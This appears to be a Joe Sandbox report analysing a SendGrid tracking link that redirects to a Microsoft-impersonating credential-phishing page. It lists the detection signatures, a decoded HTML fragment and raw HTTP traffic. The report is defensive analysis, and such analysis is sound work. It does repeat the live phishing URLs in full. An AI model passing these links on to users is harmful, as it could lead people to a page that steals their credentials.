Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9

Overview

General Information

Sample URL:	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmt
Analysis ID:	1430810
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid T&C link found

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 6792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,18295829002547481321,4121505981409542590,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
4.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV	Matcher: Template: microsoft matched
Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV#	Matcher: Template: microsoft matched

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: Number of links: 0

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://o5u7g.zleu9.com/O5u7Gw/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: Title: yCaqxUvPxB does not match URL

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV	HTTP Parser: Invalid link: Terms of use
Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV	HTTP Parser: Invalid link: Privacy & cookies

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: <input type="password" .../> found

Source: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	HTTP Parser: No favicon
Source: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	HTTP Parser: No favicon
Source: https://o5u7g.zleu9.com/O5u7Gw/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	HTTP Parser: No favicon
Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV	HTTP Parser: No favicon

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: No <meta name="author".. found

Source: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.10.31.115:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49826 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 23.202.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D HTTP/1.1Host: u44056869.ct.sendgrid.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/plainsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://assets-usa.mkt.dynamics.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1Host: cxppusa1formui01cdnsa01-endpoint.azureedge.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1B5KMs2dSdTWHV6&MD=uvLkEpBS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /O5u7Gw/ HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8793fe7a3eb209f1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
